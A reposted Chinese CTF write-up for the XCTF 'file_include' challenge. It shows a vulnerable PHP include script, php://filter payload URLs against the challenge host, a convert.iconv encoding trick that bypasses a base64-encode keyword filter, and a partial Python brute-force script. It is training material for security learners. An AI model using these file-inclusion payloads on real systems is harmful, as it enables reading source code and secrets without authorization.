我的编程空间,编程开发者的网络收藏夹
学习永远不晚

攻防世界web-file_include(江苏工匠杯/泰山杯原题)

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

攻防世界web-file_include(江苏工匠杯/泰山杯原题)

文章目录

XCTF - file_include

题目编号:GFSJ1060

知识点

本题思路比较简单,但是其中过滤了一些关键字比较麻烦,最重要的知识点就是convert.iconv.* 绕过

题目

源码分析

highlight_file(__FILE__);    include("./check.php");    if(isset($_GET['filename'])){        $filename  = $_GET['filename'];        include($filename);    }?>

源码相对比较简单,典型的文件包含,直接运用文件包含的相关payload攻击即可,直接运用php://filter读取源码,发现竟然做了waf。

逐个分析关键词,发送如下两个payload
http://61.147.171.105:64434/?filename=php://fil1ter/con1vert.ba1se64-e1ncode/resource=index.php
http://61.147.171.105:64434/?filename=php://filter/convert.base64-e1ncode/resource=index.php
第一个payload,提示不见了,第二个payload依然有提示,说明base64-encode关键词被过滤;直接在网上搜文件包含绕过base64-encode,最终找到了convert.iconv.* 绕过.

convert.iconv.* 绕过

这个过滤器需要php支持iconv,而iconv是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

iconv — 字符串按要求的字符编码来转换
convery.iconv.*的使用有两种方法:

  • convert.iconv..
  • convert.iconv./

和就是编码方式,有如下几种(以下不全):

UCS-4*UCS-4BEUCS-4LE*UCS-2UCS-2BEUCS-2LEUTF-32*UTF-32BE*UTF-32LE*UTF-16*UTF-16BE*UTF-16LE*UTF-7UTF7-IMAPUTF-8*ASCII*EUC-JP*SJIS*eucJP-win*SJIS-win*ISO-2022-JPISO-2022-JP-MSCP932CP51932BASE64

具体可参考官方手册https://www.php.net/manual/en/mbstring.supported-encodings.php
本题中骂我们逐个进行尝试,最终尝试http://61.147.171.105:64434/?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=index.php可以进行绕过。
其实在这里可以进行爆破,写了个脚本没成功,这里也附上吧,抽空再进行完善

import requestslist1= []with open('zifu.txt','r+') as f:    a=f.readlines()    for i in a:        i = i.replace("\n","")        list1.append(i)list2 = []for i in list1:    str = 'php://filter/convert.{}/resource=index.php'.format(i)    list2.append(str)for i in list2:    url = 'http://61.147.171.105:64434/?filename='+i    # for i in    try:        resp = requests.get(url,timeout=3)    except:        pass

通过读取index.php和check.php,发现没有提示文字。

但是在check.php中,发现了呗过滤的关键词,大胆猜想可能在flag.php中,直接读取flag.php。获取到flag。
其他关于文件包含的文章可以参考这篇文章文件包含漏洞总结都在这里了

来源地址:https://blog.csdn.net/yuanxu8877/article/details/127607264

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

攻防世界web-file_include(江苏工匠杯/泰山杯原题)

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录